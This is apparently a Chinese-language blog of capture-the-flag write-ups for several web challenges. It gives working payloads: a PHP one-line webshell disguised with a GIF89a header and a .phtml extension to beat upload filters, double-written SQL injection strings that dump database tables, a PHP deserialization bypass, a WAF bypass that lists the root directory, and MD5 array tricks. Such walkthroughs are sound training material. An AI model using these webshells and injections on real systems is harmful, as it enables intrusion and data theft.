进入靶机是一个这个。靶机是一道文件上传题。很简单。首先先写一个一句话木马的PHP文件<?php @eval($_POST['123']);?>,以便后续蚁键连接。一句话上传失败。需要图片文件。那就前面写一个GIF89a:这是 GIF 图片文件格式的标识,通常用于表示一个 GIF 图片的开始。然而,在这种上下文中,它可能被用作伪装,让人误以为这是一个图片文件。GIF89a。再上传试一试。上传一样上传失败。我们抓个包看看。包把content-type改为Content-Type:image/jpeg
显示显示不能为php。那我们再绕过后缀名。随便加一个数字试试。加数字3很明显php3也不行。我们构建成.phtml后缀。.phtml 文件扩展名通常用于 PHP(PHP: Hypertext Preprocessor)脚本文件。这是一种常见的做法,特别是在使用某些内容管理系统(CMS)或框架时,比如 Zend Framework 或 Drupal,它们使用 .phtml 作为模板文件的扩展名。

使用 .phtml 扩展名而不是标准的 .php 扩展名有几个潜在的好处:

  1. 清晰性:它明确指出该文件是一个 PHP 模板文件,这有助于开发者快速识别文件的用途。

  2. 配置灵活性:在某些服务器配置中,可以通过为不同的文件扩展名设置不同的处理规则来提高灵活性。例如,服务器可以被配置为对 .phtml 文件执行特定的操作或检查。

  3. 安全性:在某些情况下,使用非标准扩展名可以减少文件被直接访问的风险,因为用户可能不知道文件实际上是一个可执行的 PHP 脚本。

然而,无论文件的扩展名是什么,只要服务器被配置为处理 PHP 代码,.phtml 文件中的 PHP 代码仍然可以被执行。因此,重要的是要确保服务器的安全配置,以及对上传到服务器的文件进行适当的验证和清理,以防止潜在的安全威胁。phtml!他说别对我说慌,根本没有图片。那么,还需要再绕过一次图片。
GIF89a
<script language="php">@eval($_POST['123']);$</script>
后缀已经成功绕过了。
上传上传成功上传貌似这里就是我们上传的文件。以及别的师傅上传的文件,我们大家也可以用别的师傅的文件名绕过.php后缀。至于为啥要改一下一句话木马。是因为?被过滤了,被过滤提示的截图忘记截了,抱歉。我们用script函数替代。
上传成功我们可以直接用蚁键连一下。flag根目录下有flag。直接找到。蚁键的url在地址栏复制就ok了,连接密码123。

[极客大挑战 2019]Knife

进入靶机是这样的靶机暗示得很明显。一句话木马。其实直接拿蚁键连一下就好了。蚁键直接得出flag了。密码就是Syc。直接粘贴靶机的url就ok了。很easy的一题...

[ACTF2020 新生赛]Upload

好,进入靶机靶机又一道文件上传的题。直接把上一道题 [极客大挑战 2019]Upload的一句话木马文件拿来用就行。不用太麻烦。上传,好好好,又只能上传图片格式的。先把后缀改一下。按照题目要求改成.jpg后缀的。上传好好好,上传成功。但我们要上传的不是图片文件,而是php,这样蚁键才能连。那我们抓包改一下后缀名上传。后缀名把后缀名改成.phtml。上传成功。上传上传成功了。上传上传成功,复制这个url去蚁键连一下就可以看到flag了。flag得到flag

[极客大挑战 2019]BabySQL

进入靶机靶机进入靶机是这样的。
输入密码输入一个单引号,报错。说明是字符型的sql,所以这到题的解法应该跟应该用常规解法做注没什么问题。
第一步:爆字段:

1 ' union select 1,2,3#

错误貌似被过滤了。我们双写绕过一下就好了。

1' ununionion seselectlect 1,2,3#

不报错没有报错,那么看来不止两个字段。

1' ununionion seselectlect 1,2,3,4#

报错这里报错,说明只有三个字段。
第二步:爆库

1' ununionion seselectlect 1,database(),3#

把2换成database(),得到库名。库名得到库名为geek。但这是当前库的库名。

1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

我们看看还有没有别的库
库这便是所有的数据库了。最可疑的应该是ctf库

第三步:爆表

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

好好好,flag有flag字段
第四步:爆字段

1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag #

因为flag在ctf库里面而不在当前数据库里面。所以要用ctf.Flag来指定。
flag得到flag

[极客大挑战 2019]PHP

进入靶机靶机进入靶机是这样的。一只猫猫在网页。它给了我们一个提示“备份网站”。网页备份,应该是www.zip

常见的网站源码备份文件后缀:
.tar.gz, .zip, .rar, .tar,.php.bak, .swp, 
 
常见的网站源码备份文件名:
web, website, backup, back, www, wwwroot, temp

...dirsearch。
用法 python dirsearch.py -u http://example.com -e php,html,js,txt
这个工具在物理机上面不太好用,我也没排查出什么原因。但是在kali里面还行。所以,直接在kali里面敲就好了。不过时间会有点久。
扫墓扫墓扫到了他的备份文件。我们直接下载下来。然后解压看看
文件总共有这些文件。
flag.php:flag啥都没有,看来这道题没那么简单。
class.php:class
大概意思就是说,username= 'admine' 和 password = '100'才会输出flag
index.php:index这我也不是不是很清楚,但是有一个unserialize反序列函数

unserialize — 从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话)
<?php
class Name{
    private $username = 'admine';
    private $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>

我们也写一个脚本。直接在在线网站里面执行。执行我也懒得去装php环境了。
当成员属性数目大于实际数目时才可绕过wakeup
所以我们要将 2 改为 3 或者 比二大的数字
同时,我们要将口变为 %00 若果不写 在我们复制的时候就会减少空格,然后就ok
构建payload:?/select=O:4:"Name":3:{s:8:"%00*%00username";s:5:"admin";s:8:"%00*%00password";s:3:"100";}
成功找到flagflag

[极客大挑战 2019]BackupFile

进入靶机靶机
利用工具dirsearch,Dirsearch是一个用于探测WEB服务器下的敏感文件/目录的命令行工具。
所以直接去Kali里面用。但是扫墓一般要扫很久。慢慢等。
用法:dirseach -u http://example.com -e php
文件好好好,扫出来了一个index.php.bak文件。我们访问一下。绿色表示发现了目标url中的一个目录或文件,并且能够成功访问它。
访问访问成功,我们直接下载下来。
打开文件发现一串php代码代码
代码审计:就是说,如果没有key的话,输出“Try to find out source file!",然后key是Get传参,如果key不是数字,则输出"Just num!"非数字所以题目也给了提示,只取数字。
然后说如果key和str相等的话,则输出flag。那么key=123,得出flag
flag

[RoarCTF 2019]Easy Calc

进入靶机
源代码
查看源码,发现一个calc.php。查看一下他的代码。
calcstr是get传参且只能输入数字,不能输入字母。blacklist 是黑名单,把这些字符串给过滤掉了。我们得绕过他们。
然后有一个if(preg_match('/'.blackitem.'/m',str)),这个是正则匹配,如果匹配到的话,就会输出“what are you want to do?"然后他这里过滤了/,不可能无缘无故过滤/,所以我们可以用chr(47)来代替/。然后我们就可以绕过了。
chr()函数:返回ascii对应的字符,47对应/。
scandir()函数:用于列出指定目录中的文件和目录
print_r()函数:用于打印关于变量的易于理解的信息
payload:calc.php?%20num=print_r(scandir(chr(47)))
源码那里有一行绿色的<!--I've set up WAF to ensure sesure security.-->
有waf会对num审计,我们加上空格%20,%20是空格的url编码。这样可以绕过。
flagg发现根目录下有f1agg文件,很显然flag就放在这里。我们读取它。
file_get_contents()函数 把文件内容读取出来。
flag,因为/被过滤了,所以必须用chr(47)来代替。得出flag。

[极客大挑战 2019]BuyFlag

进入靶机靶机刚进去的时候旁边有一个菜单键(menu),点击有个payflag。
payflag
说得到flag需要100000000钱。且必须是cuit的学生回答正确的问题。好好好,说真的这些其实不需要管的,直接查看源码。
源码源码中最重要的就是这个,意思大致就是password=404
a源码有超链接,我们试试抓包。
抓包发现cookie:user=0;一般来说,0代表false,1代表true。所以改成1。
1显示是这个学生。提交password = 404a,因为是弱等于,所以需要在数字后面加上随机的字母,才能使得参数等于数字。
q把get传参改为post了,然后密码加进去了,还是没有显示密码正确。
观察到没有类型,而password=xxx属于键对值,使用Content-Type: application/x-www-form-urlencoded
类型加入类型后,只差金钱条件了。
如果输入刚好的数字会提示数字数字太长,我们用科学计数法绕过。money=1e10,不长,也刚好大于题目要求的金额
得到flagflag

[BJDCTF 2020]Easy MD5

进入靶机靶机
看起来是sql注入,我们查看源代码,啥都没有,于是抓包。sql找到注入的sql语句。
或者f12,也能找到f12
emmm就是确定是sql注入了。emmm然后启动靶机的时候有个代码托管的地址。ffifdyop输入这个就可以进入下一关。然后试了很多sql注入语句都没有回显,但直接输入ffifdyop就可以直接进入下一步了。也许出题人觉得不提示这个对于我们来说太难了,不过对我我来说确实[👀]
下一关
源代码
源代码丢给ai审计一下,知道a,b参数不一样,但md5值相等。且是弱比较。md5对数组不做特殊处理,我们通过数组绕过就好了。payload?a[]=1&b[]=2
绕过成功绕过,来到最后一关了。只要绕过param1的post传参。然后这个关键代码的意思是如果param1何param2不相等且md5的值严格相等(===),满足这个条件输出flag。但md5对数组不做特殊处理,所以和上一道题一样,数组绕过payload?param1[]=1&param2[]=2然后是post传参,所以必须要用hackbar工具,不能直接写在url里面了。
flag得到flag。我写题的时候不知道为啥,一直没有回显,然后看别人的wp把payload改成了?param1[]=111&param2[]=222就回显了,我也是很无语,不知道为啥。后来又去走用第一个构建的payload也是可以得出flag的。
flag
之前写题的时候就是明明传过去了,但是就是没啥反应之前